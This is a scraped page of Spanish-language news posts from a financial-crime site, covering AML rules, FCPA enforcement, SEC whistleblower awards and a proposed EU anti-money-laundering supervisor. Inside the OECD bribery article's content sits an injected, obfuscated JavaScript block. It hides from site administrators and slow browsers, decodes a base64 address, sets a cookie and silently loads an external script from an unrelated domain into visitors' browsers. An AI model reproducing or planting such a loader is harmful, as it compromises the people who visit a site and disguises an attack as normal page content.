href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, 